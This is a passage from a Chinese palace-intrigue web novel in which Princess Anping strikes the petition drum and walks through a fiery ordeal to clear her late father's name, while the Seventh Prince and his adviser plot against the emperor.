宫中大门却迟迟紧闭,根本没有人敢过来询问缘由。 因为登闻鼓的特殊位置和方向,直勾勾的对着皇宫内院,每一下都仿佛敲在皇帝的心脏上,让他坐也不是站也不是。 “安平简直是岂有此理!她竟然敲打登闻鼓。”自从上一次上朝之后,他便没有在和安平见过,更加别谈说过几句话了,只听闻没了功夫的这几年她安静的像个大家闺秀,可是今日为何发疯突然敢敲登闻鼓了。 身边的公公弯腰凑到了皇帝的跟前,十分无奈的说道:“许是今日七皇子殿下的行为让郡主寒了心,所以才会有这种行为。” “朕就知道!”皇帝在御书房里走来走去,面对这样的鼓声,他感觉自己被吵的十分的晕眩。 正想着,御书房外面传来宫人的禀报,说是皇后娘娘过来了。 皇帝赶紧让人把张岚依请了进来。 张岚依一进来便看见皇子站立难安的来回踱步,她心中了然,面上十分的担忧的走了过去:“陛下,这是怎么回事啊?妾身好害怕啊。” “皇后别怕。”皇子将娇媚的皇后拥入怀中,美人香气沁入心脾,他的心情稍微舒缓了一些:“是那安平在敲打登闻鼓。” “登闻鼓?”皇后像是第一次知道一样,捂着嘴说道:“只有大事,才会有人敲打登闻鼓,可是今日的事情,陛下不是已经让臣妾去下旨解决了吗?郡主一向是识大体的,难道是七皇子殿下又做出了别的行为,惹怒了郡主?” 皇帝便将今日在镇国府搜到一件龙袍的事情给说了出来。 张岚依听罢眼中闪过冷意,但是她掩饰的非常好,娇滴滴的说道:“之前七皇子说镇国公通敌叛国,眼下又说镇国公私藏龙袍意图谋反,这……事情的真相到底如何,咱们也不清楚啊。” “燕国忠一根筋的东西,他怎么可能会做出谋反的事情啊。”皇帝当机便说道。 皇后张岚依听到这句话,美人眸里闪过一丝阴翳,她没有吭声,只是往皇帝的怀中钻了钻,掩盖自己逐渐发冷的神情。 皇帝只当她是害怕了,不由得放轻声音说道:“这些事情朕都会解决的,皇后放心便是。” “有陛下在身边,臣妾自然是放一百个心呢。”张岚依娇笑着:“只是这登闻鼓一直敲也不是办法,眼下郡主正在气头上,她的身子骨也不好,若真是这么一直敲下去,镇国府百年忠良,可能才真的会寒了天下莘莘学子的心啊。” 皇后张岚依顺着皇帝的想法说出他的担忧。 确保皇帝不会因此迁怒于自己。 果然,皇帝听到了她说的这番话,叹了一口气:“眼下已经敲了多久了?” 身边的太监赶紧说道:“会禀殿下,已经有三个时辰了。” “三个时辰……”皇帝瞧着外面的天色都黑了下来,可是外面这鼓声丝毫不减弱:“她可真能敲啊。” 能一直敲三个时辰,这身子骨一点都不像是病弱的样子。 “陛下还是让安平郡主进宫,这件事情早晚都是要有个交代的,七皇子倘若真的是做错了事情,陛下当着郡主的面前惩罚他便是,安平心里也是有数的人,不会闹得太过于难堪的。” 皇帝看着皇后张岚依,脑海中思忖着她说的话。 全部过了两三遍之后,觉得有些许道理,他伸手招来了公公:“就按照皇后娘娘的意思,让她进来吧,再把七皇子也喊过来。” 事情早晚要解决,拖着不是办法。 宫外燕晚清敲累了,燕红昭便接过,之后便是燕凌珍。 三个姐妹轮流换着敲打着登闻鼓。 终于等到了宫门打开。 燕晚清一眼便认出来那个公公是皇帝身边的亲信。 公公看着她还在一下接着一下的敲着,捂着耳朵便上前了。 “郡主可以了,陛下让您进宫。” 燕晚清这才停了手,将鼓槌放在了架子上:“有劳公公前面带路。” 公公看着她身后的燕红昭和燕凌珍:“她们二人可要一起进宫?” 燕晚清直接摇头:“本郡主一人足矣。” 她今日动了念头过来敲登闻鼓,是想要皇帝当着天下人给这件事情一个交代。 却没有告诉五妹和六妹,敲打登闻鼓的人,要经历刀山火海,最终能够活下去,才能够站在皇帝的面前诉说冤情。 她一身素衣跟着公公走进了宫门,宫门关闭的时候,面对五妹和六妹惊慌的神情,她勾了勾唇角,安抚性的笑了笑。 身后的公公轻叹一口气:“郡主若是现在回头还来得及。” “开弓没有回头箭。”燕晚清看着面前瓷片铺成的一条小路,她无言褪去了自己脚上的鞋子,然后直接踩了上去。 顷刻间,血水从袜子上渗透出来,染红了脚下的瓷片。 第一百三十章 一个老人,对权势的执念 这条由碎瓷片铺成的路,足足有十米长。 每一块瓷片都以极其刁钻的角度,将最锋利的一面对着最上方。 燕晚清每一步,都痛彻心扉。 逐渐的,她的裙摆都已经被鲜血浸染,在脚下开出一团花来。 旁边的公公不忍的移开了视线。 只有燕晚清依旧咬着牙慢慢的在上面往前走着,一步,两步…… “郡主,实在是疼痛难忍,便算了吧。”公公终于忍不住开了口。 燕晚清疼的浑身都在颤抖,巴掌大的小脸上冷汗涔涔,此刻她的嘴唇都已经被她咬的鲜血淋漓,可是即便是这样,外人也听不到她喊一声“疼”字! 这便是镇国府出来的硬骨头! 宫人们对着燕晚清的背影肃然起敬。 安平郡主,果真是天下读书人的脊梁。 “公公不必劝我,今日敲了登闻鼓,便想到了有这一遭,我上刀山下火海无碍,但是我燕家忠魂百年……”她咬着牙抽气:“容不得半点污言秽语!” 她要用自己的鲜血洗干净,父兄身上被泼的脏水。 终于十米长的刀山走完了,她已经疼得站立不稳,浑身湿透的她看着公公,勉强露出一个微笑:“继续吧,公公。” …… 萧鸿深坐在主位上,房间里站满了自己的门客。 大家叽叽喳喳的说着自己的想法,依稀还能看见里面有柴右和吴城南两个熟人的面孔。 “都给本殿闭嘴!”萧鸿深见他们吵来吵去给不出一个答案,冷着脸呵斥道。 瞬间屋内鸦雀无声。 他看着面前茶几上就要燃烧殆尽的香,满脸阴沉:“一炷香都要烧完了,你们还没有讨论出有用的办法吗?!本殿养着你们吃,养着你们喝,关键时刻全都是酒囊饭袋!” “殿下这件事情也不能怪我们,都怪那燕安擅作主张,拿出龙袍来污蔑镇国府,不然我们何至于面对这样的境地。” “是啊,殿下这件事情都怪那燕安,跟我们有什么关系呢?” 萧鸿深听得想杀人:“本殿是让你们想办法,不是让你们推卸责任。” “殿下,不要这般自暴自弃,那登闻鼓也不是谁想要击打就能击打的,击打登闻鼓的人都必须经历刀山火海才能站在陛下面前,那安平郡主娇娇弱弱一女子,如何能够通过刀山火海呢?哪怕是通过了,站在陛下的面前,他恐怕是也没有几分力气再去控诉殿下了。”吴城南就在这时,从人群中站出来说话。 萧鸿深听完脸色有了几分好转。 “总算是听到正常人说话了。” 吴城南不卑不亢,犹如鹤立鸡群,周围的谋士朝着他投来不相为谋的目光。 他不以为意的继续说道:“安平郡主击打登闻鼓,无非就是咽不下这口气,听闻陛下已经让身边的亲信去接她入宫,由此可见陛下已经摆明了态度,眼下殿下最应该着急的事情是,这件事情究竟应该由谁来负责,由谁来承受陛下的怒火。” “按照草民对安平郡主的了解,她既然敢连续敲打三个时辰的登闻鼓,便一定是对龙袍一事做了完全的准备,到了陛下面前,她定能将这件事说的水落石出,届时陛下对于殿下的意见就会更大了。”柴右突然开口说道。 见到柴右也开了口,萧鸿深明显脸色好了许多,声音也跟着尊敬起来。 “那柴先生觉得本殿此刻应该如何做呢?” 柴右扫了一眼吴城南,走到了萧鸿深面前作揖说道:“这件事情确实如吴兄所说,应该找一个替死鬼,但是替死鬼事小,陛下在这件事情的态度才是此刻殿下最应该琢磨的。” 他说着眼神讳莫如深的看着萧鸿深。 萧鸿深知道这是柴右有话想要单独跟自己说了。 于是他抬手将人全部遣散出去,包括吴城南。 吴城南是最后出门的,他微微蹙眉将门关上,身后的同僚便开始毫不犹豫的嘲笑他。 “办法是吴兄想出来的,可是最后殿下信任的还是柴先生。” “是啊吴兄,这拆他人桥梁做自己嫁衣的事情,他柴右可是太擅长了。” …… 大家你一言我一语七嘴八舌的站在吴城南面前开始挑拨离间,吴城南面色有了些许不太好看,他推开人群,直接拂袖离去。 见状大家冷哼一声:“假清高。” “昔日也不过就是个吃软饭的。” “三姓家奴有什么好优越的。” 屋内,柴右听着门口越来越远的声音,终于沉声开了口。 “首先安平郡主一直能力非凡,出了名的有谋略,在这一方面,京都不说女儿家,就单说男子,也没有几个能够比得上她的,所以此时她敲了登闻鼓闹得天下皆知去见陛下,无非是要陛下在天下人的面前,澄清镇国府身上的冤屈,让镇国府的男儿们能够清清白白的上路……” 萧鸿深点点头:“柴先生说到了点上。” 柴右继续道:“所以她定是已经想到了万全之策,只等着殿下自投罗网。” “那本殿该怎么做?”萧鸿深就是害怕这一点,那燕晚清一张嘴巧舌如簧,死的能说活了,黑的能说成白的,而且所有的话语都有证据支撑,他靠权谋正儿八经的根本搞不过她。 这也是为什么他几次三番想要下杀手,却最终舍不得的原因。 燕晚清的脑子,倘若能够帮助他成就大业,不过是瞬息的事情。 “之前就说了要看陛下的态度,殿下今日出宫的时候,陛下并没有过度的苛责于你,这在燕家人的眼中无疑是火上浇油——”此话还没有说完,萧鸿深便蹙眉打断:“柴先生的意思是,父皇他故意的……” 柴右讳莫如深:“这件事情不是小人能够揣摩的,只是目前根据安平郡主怒敲登闻鼓这件事推算出来的,此时燕家人的怒火已经到达了一个巅峰。” “燕家和孙家在大渭百年基业,且不说百足之虫死而不僵,光是他们在百姓中的威望,就足以殿下喝一壶的了。” 萧鸿深越听越心惊。 今日出御书房的时候,他以为父皇是没有皇子能够依靠了,所以才没有对自己过多责罚。 可是他没有想到,父皇竟然是这样的想法。 捧杀他…… 让燕家和他斗的鱼死网破。 柴右见萧鸿深眼中变幻莫测,便知道自己说的话在他的心里已经掀起了惊涛骇浪。 于是他继续说道:“那一日镇国公归京之时,突然六月飞雪,今日镇国公出殡下葬,百姓们夹道不顾生死上前相护,如此深得民心,说实话并不是一个帝王想要看到的。” “所以……父皇才会在本殿提出查出镇国府通敌叛国的时候,故意让本殿放手一试。”萧鸿深感觉自己的脊梁骨上冒出了冷汗。 这才是一个帝王真正有的谋略。 “父皇他……他怎能如此对待本殿!”萧鸿深眼底浮现出杀意。 他从未想过一个一只脚踩进棺材里的老人,竟然还对权势有着这么深的执念。 第一百三十一章 是人,就得认天命 “帝王之心,深不可测。”柴右的声音犹如一声惊雷,在萧鸿深的耳边炸开。 他猛地拍了一下身下的椅子把手:“本殿决不能就这样成为他人的棋子,本殿再也不想当棋子了!”、 萧鸿深双眼猩红的看着柴右,双手上前一把抓住柴右的衣襟。 “既然先生已经全部都看出来了,那么先生一定有解决的办法,求先生救本殿啊!”萧鸿深说道。 柴右长叹一口气,他示意萧鸿深松开自己:“殿下无需惊慌,如今小人和殿下已经捆在一起,必定是要为殿下的将来做打算的,不然小人今日何须冒这样的风险,在殿下面前说出如此大逆不道的话来呢。” 这般安抚让萧鸿深心里松了一口气。 “请柴先生赐教。” 柴右缓缓道来:“燕安这颗棋子,是时候可以丢弃了。” 萧鸿深早就把燕安这个自作主张的蠢货视为弃子了,眼下他便同意了柴右的说法。 柴右见他没有任何意见,接着往下说。 “眼下殿下最大的敌人,不是别人,而是——”柴右伸出手朝上面指了指,意有所指,其实已经非常明显了。 经过他刚刚的分析,萧鸿深心里已经对于皇帝的此番行为颇有微词,眼下见到柴右直接点破,他也不再伪装,直接凶相毕露:“柴先生的意思是?”他用手比了比脖子。 柴右点了点头。 “陛下已经将太子放到了遥远的北部,眼下又将殿下置于风波之间,陛下痴迷于长生之术也不是一日两日,倘若真的让他寻求了法子,按照眼下他的做法,第一个解决的便是——”柴右点到为止,不说话了。 “便是本殿和他的这些子孙。”萧鸿深直接开口说道。 柴右直接跪在了地上。 萧鸿深自我嘲讽的笑了两声。 “长生不老哈哈哈……”他仰天长笑,笑的眼中带泪,再低头时,眼底都是森冷的光:“简直是痴人说梦,天底下何曾听说过有人能够长生不老的!” “是人就得认天命,到了什么年纪就该做什么事情,他犹豫不决,本殿便替他做了决断。”萧鸿深眼底都是很辣的光芒。 柴右双手伏在地上,恭敬的磕头:“提前恭祝殿下心想事成。” 萧鸿深心中有了决断,再加上柴右的一些法子,此时他已经不再像刚才那般慌乱无章法了。 宫中第三次来人传唤后,萧鸿深便跟着宫人进了宫。 此时燕晚清双手双脚都是燎泡,她的脚下是烧的通红的炭火,公公心疼她允许穿鞋子走过,但是炭火一下子便烧穿了鞋底,直接将刚刚流血的伤口全部烫出了血泡,比刚刚的疼痛更甚! 若刚才只是让她冷汗涔涔,此刻的燕晚清已经双眸不自觉的流出泪水。 太疼了。 她全身上下都是这个想法。 宫人看着她的身影忍不住移开了视线。 燕晚清一个人便是一个军队,哪怕是摔倒在炭火上,她也能自己倔强的爬起来,重新继续开始走,等到全部走完的时候,她已经疼得不成人形。 公公赶紧让宫女上前将她裙摆上烧起来的小火苗扑灭。 此时燕晚清虚弱的坐在台阶上,看着面前的刀山火海,她自顾自的勾唇笑了笑。 “郡主,快些去疗伤,太医已经等候多时了。”公公说道。 燕晚清点点头,宫女们将她搀扶着坐上了软塌,直接抬着燕晚清过去了。 这是皇后娘娘私下吩咐的,别人是根本没有这个待遇的。 燕晚清心里也是十分清楚。 等到周身的伤口被包扎好,她感受着双手和双脚火烧钻心的疼痛,面色更为苍白了。 太医看着她的面容,忍不住开口道:“郡主这般真乃神人也,天底下没有几个男子能有郡主这般的耐性了,若可惜不曾身为男子……” “太医此言差矣。”燕晚清打断了他的话:“不论男女,心中有丘壑,有坚持,便能一往无前,心中所向,与性别无关。” 太医震慑于她说的这番话,好半饷他都无法回过神来。 此时的燕晚清已经被抬到了殿前。 还有最后十步的台阶,燕晚清让宫人将她放下,最后的路,她要自己走。 下脚便是钻心的疼痛,血水迅速从纱布中弥漫开来,瞬间在地上铺开一朵朵血花,她咬着牙一下一下的踩着台阶上去。 不过十步的路。 她仿佛花费了一身来走。 殿门早就大开,殿内的人能够清清楚楚的看到她的所作所为。 皇帝面无表情的看着燕晚清跨过门栏走进了殿内,然后站在了自己面前。 而他身后的张岚依忍不住眼眶微热,她没有想到这个小狼崽子能够做到这种地步。 “安平见过陛下,陛下万岁万岁万万岁。” 燕晚清躬身行礼。 她不跪。 皇帝见她双手作揖,温顺的低着头颅,脊梁虽然弯曲,却依然能够感受得到她骨子里的倔强和笔直,终于开口说话了。 “敲登闻鼓,过刀山火海,终于站在了朕的面前,安平你一个弱质女流,究竟是怎么做到的。” 他万万没有想到,她竟然真的就这么一路咬着牙走过来了。 “回禀陛下,安平所为,为一个公道。” 皇帝轻叹一声:“好一个公道。”他招了招手:“去把七皇子带上来。” 七皇子萧鸿深从旁边的门走了进来,看见燕晚清的双脚都是血水,他微微愣了一下,很快恢复了平静。 “既然人都到齐了,那就解决事情。”皇帝看着萧鸿深说道:“事情是老七你捅出来的,你理应给安平郡主和镇国府一个交代。” 萧鸿深听完便直接躬身朝着燕晚清说道:“这件事情确实是本殿查缺有漏,误信了小人,受了他的挑拨,对镇国府这等忠烈做出如此寒心之事,是本殿的错,本殿自愿罚去一年俸禄,贬谪去闽南,还望郡主消气。” 皇帝没有想到,不过端端的几个时辰,这老七态度上竟然发生了翻天覆地的变化。 想到他说的贬谪闽南,皇帝皱起了眉头。 皇后张岚依赶紧站出来开口说道:“哎呀什么贬谪闽南,这也不至于的,郡主也不是不分是非之人,只要这这罪魁祸首能够绳之以法,殿下耳目从此清明,从这件事情上面得到教训,便够了。” 萧鸿深没有想到皇后会替自己说话。 贬谪闽南不过是个说辞。 皇帝肯定是不会允许的。 他还指望着自己这把利刃替他肃清朝野。 但是皇后站出来为他说话,是萧鸿深万万没有想到的。 难道张岚依是在向自己示好? 萧鸿深眼中闪过了思虑。 是为了日后皇帝死了,皇后陪葬的事情么? 他掩盖住自己内心的情绪,朝着皇帝跪下:“儿臣自知一念之差,酿成大错,求父皇成全,求郡主成全!” 第一百三十二章 赐字,忠肝义胆 皇帝沉着脸没说话。 萧鸿深便直接跪在了地上。 燕晚清看着他们父子俩一个唱红脸一个唱白脸,她沉声说道。 “燕家人向来不是不讲道理的人,既然皇后娘娘已经做了中间人,那么安平也给娘娘一个面子,七皇子殿下听信了小人,安平不予追究,罚他一年俸禄也无可厚非,至于贬谪的事情,全权交给陛下做主。”她接着说道:“另外安平还有一件事情斗胆请求陛下恩准。” “你说。”皇帝此时看不出什么表情,声音很是低沉。 燕晚清却根本不管不顾,她直接开口道:“我父兄守卫大渭数十载,如今一朝身死还差点脏了黄泉路,安平斗胆陛下下诏书替我父兄正名,赐我父亲“忠肝义胆”四字,让往后那些再敢泼脏水的人心里掂量一二。” “相信有了陛下的赐字,父亲黄泉之下有知,定会死而瞑目。” 她今日闹这么一出,根本目的在这里。 她要皇帝亲自承认镇国府和将军府上下都是忠肝义胆之辈,让他亲自向天下人证明这一切。 皇帝沉默了半饷,他何尝不知道这是燕晚清在逼他。 只是眼下七皇子让她拿了把柄捏在手里,皇帝自然也不可能让七皇子真的贬谪闽南。 眼下便是他考量孰轻孰重的问题了。 皇帝面色如常,好半饷,他抬起手:“笔墨纸砚伺候。” 燕晚清眼中闪过一道精光。 这是皇帝妥协了。 果真看见皇帝起身在纸上写下了“忠肝义胆”四个字。 太监将纸张拿起来,在燕晚清面前放了放,让她清清楚楚的看见。 皇后便笑着打圆场:“这件事情总算是处理了,安平郡主心里的苦楚陛下和本宫都清楚,可怜的孩子,这段时间委屈你了,好在是今日你父兄都已经安然下葬了,今日之后那些宵小也会被一一查处,无人再敢质疑镇国公和威猛大将军的忠义了。” 皇后的这番话让皇帝稍微面色缓和,他捏了捏张岚依的手。 张岚依不愧是跟了他这么多年的女人。 年轻貌美还识时务,懂进退。 燕晚清的目光在空中跟皇后张岚依对上了,很快两个人同时移开了视线,只听见燕晚清恭恭敬敬的说道“安平替父兄谢过陛下恩典。” 皇帝嗯了一声,目光落在了旁边的七皇子身上,他抬了抬手:“你也起来吧。” “眼下正是京都用人之际,贬谪闽南有损皇家颜面,既然今日安平能够刀山火海走到朕的面前,你便自行下去领五十军棍吧。”皇帝一锤定音。 萧鸿深对此没有任何微辞。 “行了,事情解决了。”皇帝看着燕晚清温和的说道:“朕明日便下诏书,向天下人宣告此事,安平可放心了?” 燕晚清懂的给台阶就下,露出一抹笑容:“陛下英明。” “既然安平也满意了,那今日你们便退下吧。”皇帝说道:“这次事情的始作俑者,老七你可要好好惩戒,如此挑拨离间之徒,死十次都不解朕的心头之气!” 皇后张岚依赶紧上前扶住了皇帝:“陛下莫要生气,经过这件事情之后,七皇子定会用人唯贤,不会再听信小人了,您可要保重身体啊,江山社稷还等着陛下呢。” “还是皇后深得朕心。”皇帝搂着皇后的腰肢,身边的太监便识趣的开始上前对燕晚清和七皇子说道。 “七皇子殿下,安平郡主,时候不早了,陛下该歇息了,老奴已经安排好了人送你们出宫。” 宫人扶着燕晚清走出了大殿,身后的殿门便直接关上了。 萧鸿深看着她双手跟双脚上都是渗出的血迹,他低低的说了一声。 “你对自己也是这般下狠手。” 燕晚清看了他一眼:“七皇子殿下这是哪里的话,有的功夫来打趣本郡主,不如想想待会儿那五十军棍,五十军棍全部打完了,殿下再来思考思考本郡主到底是心狠还是手辣。” 此时轿撵已经到了面前。 宫人们扶着燕晚清坐了上去,她伸出自己包裹的像是球一样的手,朝着萧鸿深摇了摇。 萧鸿深在她身后的脸色变了又变,最终一脸黑的离开了。 这一日,燕家过得是惊心动魄。 等到燕晚清回到镇国府,发现家中灯火通明,所有的姊妹都在等着她,就连母亲孙青莲见到她回来的时候也是双眼微红。 她看到燕晚清双手和双脚上的伤口,挤出来四个字:“回来就好。” 一切都在无言中。 燕晚清安抚的笑了笑,孙青莲眼见着松了一口气。 “这几日母亲劳累了,眼下事情已经告一段落,母亲可以放心了,去休息吧。” 孙青莲刚想要拒绝,差点眼前一黑。 好在是身边的燕红昭扶了她一把。 燕晚清便直接喊了母亲身边的贴身嬷嬷,强制让人扶着孙青莲去休息了。 这回孙青莲也不固执了。 等到她走了,姊妹们迅速围了过来,燕凌珍二话不说便拉着燕晚清坐下,将她手上的纱布全部解开。 等到触目惊心的伤口暴露在空气中,燕凌珍和燕红昭直接红了双眼。 “阿姐!” “原来阿姐不让我们过去,是因为这个原因。”燕凌珍眼中都是泪水,语气也跟着有些生气起来。 燕红昭想要伸出手摸摸两个丫头的脑袋,却发现自己双手无能为力。 她露出一抹苦笑,却也是如释重负的笑。 “此次风波已经过去,就不要再纠结于此了。” 燕凌珍让丫鬟去取自己的药箱,口是心非能说道:“阿姐现在这么嘴硬,待会儿疼起来可别哭。” 燕晚清摇了摇头:“要哭的,你阿姐还是很怕疼的。” “怕疼还敢去敲登闻鼓,还敢过刀山火海……”燕红昭跟着哽咽道。 燕晚清勾唇笑笑,她心中一块大石头已经落下。 疲惫瞬间涌上了心头。 燕凌珍也不敢真的让燕晚清疼的死去活来,疼哭了。 所以她拿出自己的特效药,给燕晚清用上,等到她包扎完伤口,只看见燕晚清已经歪着头沉沉的睡了过去。 “阿姐应该很累吧。”燕红昭轻轻的开口。 燕凌珍叹了一口气:“五姐姐,我们送阿姐回去休息吧。” 能不累吗? 一个人心里憋了那么多事情。 这段时间里,眼见着阿姐进进出出,一个人憋着谁都不说,她便知道燕晚清活的有多累了。 “但愿,平静的日子能够多一点。” 第一百三十三章 盘算,心中的呼喊 次日,皇帝的诏书一出,本来冷情的镇国府外面突然门庭若客起来。 燕晚清在后院养伤,没有耐心也没有心情去理会这群见风使舵的人。 孙青莲这几日在整修佛堂,自然也是没有心情去理会的。 又过了几日,五妹燕红昭走进来,一脸兴奋的说今日是燕安被陛下赐死的日子。 燕晚清才知道已经又过了七日。 燕安守灵七日给老太太下了葬,便直接被大理寺给抓了去。 听说中途是想要直接跑了的,但是大理寺的人早早的就将他家给包围的水泄不通。 “从来没有想到这个人竟然骨子里这般的龌龊,竟然连自己的生母都不顾了。”燕红昭满脸都是憎恶。 她一点都不忘不掉,自己的生母宋姨娘是怎么死的。 都是因为燕安一家住进了镇国府,才会害的她小小年纪便没了姨娘。 燕晚清看到了燕红昭的神情,她点点头:“他向来便是这样的人,当年做错了事情被流放,也是第一时间怪罪父亲不舍命救他,在他的眼里,只要是他想要的,别人不给,别人便是罪大恶极。” “六妹在虎丘的那几年应该也没有少被那个老太太磋磨吧,听说她年轻的时候脾气可差了。”燕红昭今日不知是怎的,平时沉默寡言只知道练武,今日倒像是突然打开了话匣子,一直拉着燕晚清和燕凌珍说着燕安一家子的事情。 燕红昭还说今日要去看燕安被斩首,问燕凌珍去不去。 燕凌珍赶紧回绝了。 她对于人头落地一点都不感兴趣。 “等到给阿姐换完药,我就要去准备接下来出去游历的东西了。”燕凌珍说道。 燕晚清看着她巴掌大的小脸上都是气定神闲,微微勾唇:“可有想好去哪里?” “一路向北。”燕凌珍心中早有打算。 对于燕凌珍的决定,燕晚清是支持的。 她知道自己的六妹不同与旁人,心中有丘壑。 “好,想回家了便随时回来,阿姐永远在家中等着你。” 燕凌珍撒娇着埋头进入了燕晚清的怀抱中,旁边的燕红昭有些吃味:“阿姐我也要抱抱。” 姐妹三人抱在一起,和睦融洽。 …… 吃过午膳,燕红昭便出了门去刑场,燕凌珍回屋睡午觉。 燕晚清坐在屋内百无聊赖,手上和脚上都痒的让她难耐,六妹也不让她去挠。 被从歌看见了,她打趣着将燕晚清昔日的兵书拿了出来,一页接着一页的给她翻看。 猝不及防的就翻到了盖着红章的那一页了。 燕晚清看着上面的章印,神情凝住,从歌下意识去翻。 “慢着。”她说道。 从歌只能再翻回去。 这是萧蘋风的太子印。 有一次她闲得无聊便用了红泥盖在了兵书上。 此时已经是物是人非。 她改变了前世的命运,父兄终于清清白白的走了,那么她还能改变其他人的命数吗? 燕晚清心中有了些许的愣神。 上一世她只知道他是死在了战场上,但是具体怎么死的,一概不知。 明明是一场打了胜仗的战争,为了偏偏死了将帅。 那个时候燕晚清疲惫于奔波为萧鸿深卖命,整日将自己浸润在阴谋诡计里面,根本无暇顾及其他,只知道他没了,自己的敌人又少了一个。 可是眼下…… 燕晚清心里有个声音在呼喊。 或许她可以改变的更多。 眼下皇帝一时半会儿还不会对燕家再次下手,所以这段时间里,她可以向皇帝请命亲自去镇守雁门关。 在查清楚父兄的死因的同时,还能够站在他的身边…… 燕晚清被心中的希冀吓了一跳。 她为何会主动想要靠近他? 从歌已经不知道什么时候出去了,屋内只留下燕晚清一个人。 她忍不住将手放在自己的小腹上。 他们俩之间隔着一条生命,他应该永远都不会原谅她了吧。 燕晚清不知道为何自己想到这里,眼眶就莫名的就酸涩起来。 她紧闭双眼,片刻又睁开。 心中已经有了想法。 等到她的伤口痊愈,朝中稳固之后,她便请命前去雁门关,刚好也能送六妹一程。 只是她不能就这么走了,她要把萧鸿深解决掉。 …… 天气越来越炎热。 过惯了好日子的皇帝便想要去避暑山庄避暑,无形之中的一个决定,不知道成全了多少个人。 萧鸿深最近一段时间十分的老实勤恳,加上他统管着御林军,皇帝一高兴便免了他的禁足,允许他一同前往。 至于镇国府这样刚刚承受了冤屈的忠义后人,皇帝自然不会落下,一早便让公公记录在名单之内。 等到正式出发的那天,燕晚清发现李家这样的小门小户也竟然在内。 此时正是战火纷飞,江南水患之际,皇帝为了贪图享受,浩浩荡荡去避暑山庄的行为,放在诸位老臣的眼中,属实是有点过分了,但是皇帝向来一意孤行,不听劝诫,老臣们管不住他,奏折写了一本又一本,堆叠在御书房里无人问津。 经过三日的长途跋涉,终于到了避暑山庄。 这一次母亲孙青莲没有来,自从父兄没了之后,她的性子越发的孤僻,整日都守在佛堂里。 燕晚清知道母亲心中的苦楚,不便多打扰,只是临行之前,跟她促膝长谈了一会儿。 这一次她只带了五妹和六妹两个人,丫鬟也只允许她们带了贴身随从,刚好两辆马车便坐下了,相比其他世家大族,镇国府属实是十分冷清了。 燕凌珍第一次来避暑山庄,走在绿树成荫的山路上,甚至还能看见丛林里蹦跳的小鹿,她显得十分的高兴。 而五妹燕红昭脑子里只有昨夜潜心研究的兵书,心想着待会儿停下来,要找阿姐问个清楚明白。 不然她今天晚上铁定是睡不着的。 一路都是山路,众人都已经累的不行,终于等到分好了院子,他们便赶紧进屋收拾行李,准备休憩了。 燕家姐妹带的东西不多,从歌她们自己会看着办。 燕凌珍便心想着时间还早,一头扎进了树林里,寻找那些草药去了。 至于燕红昭问完了燕晚清兵书上面的事情,找了个山崖练功去了。 剩下燕晚清一个人不知道干什么,她便想到李家那个大小姐。 心想自己之前跟她也是有过几面之缘,看样子是好相与的,找她说说话应该不会被拒绝的。 只是她刚走到院子,便听见里面穿来吵闹声。 “这间屋子是我先看上的。” 第一百三十四章 要机会,你配吗 燕晚清远远的便听见那刁蛮任性的声音,下意识蹙起了眉头。 伴随着一阵噼里啪啦的砸东西的声音,她站在门口看见院子里被丢了一地的行李。 而她想要找着聊聊天的李呈祥站在院子的中央,沉默的低头开始捡东西。 她的表情木讷,仿佛对这种情况已经十分习惯,看的让人有些心疼。 再看台阶上穿着花枝招展的一个女子,燕晚清也认了出来,这是之前砸伤她六妹的人,李呈媛。 只听见李呈媛开口说道。 “这次李家能够跟过来,全是因为我在七皇子殿下面前特意求的,不然按照父亲的官职,这辈子乃至下辈子都不会等到跟陛下来避暑山庄这种待遇的,所以姐姐,以后只有我挑剩下的东西你能用,知道么?” 李呈祥抿着唇没说话,她手里抱着一堆衣服,此时已经沾染了地上的湿气,变得有些脏污。 李呈媛见她不吭声,冷哼一声:“别不说话啊,你要记在心里,父亲大人可都说了,姐姐在外面要事事以我为先。” “知道了。”李呈祥终于开口。 李呈媛听罢心中舒服了些。 李呈祥看着她问道:“我可以回屋子了么?” 李呈媛扬了扬手:“去吧。” 李呈祥便和身边的丫鬟将散落一地的东西全部捡起来进了对面的屋子。 她老实巴交唯唯诺诺的样子,和当初燕晚清看到的落落大方游刃有余已经形成了鲜明的对比。 本以为经过上一次小巷子里发生的事情,李呈祥的这个庶妹已经没有办法再蹦哒了,谁曾想她竟然过得如此之好,甚至还压了李呈祥一头。 李大人也真是不知道怎么当父母的。 家中规矩竟然是这般嫡庶不分。 燕晚清心中闪过不赞同。 眼下她也没有要去戳人痛处的习惯,李呈祥现在应该不想见到她吧。 想到这里燕晚清转过身离开,谁曾想她刚转过身去,身后便传来李呈媛谄媚的笑声。 “不知道郡主大驾光临,真是又是原因啊,郡主可是来找臣女的?” 听到李呈媛的声音,对门的李呈祥也走了出来,她对着燕晚清规规矩矩的行了个礼。 燕晚清抬手道:“无须多礼。” 面对李呈媛眼巴巴的眼神,燕晚清轻轻的冲着对面的李呈祥笑道:“不是,本郡主是来找她的。” 李呈祥瞬间受宠若惊,而李呈媛则是有些酸溜溜的笑了两声,回到了自己的屋子里去了。 整个人是十分的没有礼数。 李呈祥只能走到燕晚清面前替李呈媛说话。 燕晚清听她说完,勾唇笑道:“你可愿陪本郡主出去散散心?” 李呈祥点头:“自然是愿意的。” 她对于燕晚清的突然到来,以及这份邀请是十分惊喜和意外的。 “上次的事情本郡主还没有谢过你。”燕晚清说的是下大雨的那天,李呈祥给她在七皇子府外撑伞的事情。 李呈祥有些害羞的说道:“小女只是做了寻常百姓都会做的事情,没有想到郡主还记在心上,实在是有些受宠若惊。” 燕晚清见她脸颊都有些发红,疑惑的问道:“你很热吗?” 李呈祥连忙摆手:“说起来可能有些唐突,只是近看郡主美得不可方物,好似那仙子下凡尘,一时之间有些看呆了去,所以这才……” 等到她全部说完了心中所想,这才意识到自己究竟说了多么荒唐的一段话。 当下她有些忐忑的看着燕晚清的神色,生怕她生气。 却没有想到燕晚清只是捂着唇扑哧一声笑出声来。 “你这丫头倒有些意思,难怪六妹喜欢跟你玩。” 李呈祥听到燕晚清说燕凌珍,便好奇的问道:“燕六小姐这一次也来了吗?” “这是自然,一进山便去捣鼓她那些草药了。”燕晚清笑道:“明日你便能见到她了。” 二人相携,走在山间,说说笑笑,竟然也别有一番滋味。 走了一段路,便被人拦下了。 燕晚清认出来这是七皇子身边的吴城南。 那吴城南形容憔悴,目光哀切的落在了李呈祥身上。 燕晚清心中了然便说道:“本郡主想起来还有一些事情要去处理,便先走一步了。” 吴城南对她感激一笑,目送着燕晚清离开。 李呈祥等到燕晚清走了之后,转过身头也不回的就走。 吴城南赶紧上前一把拉住她。 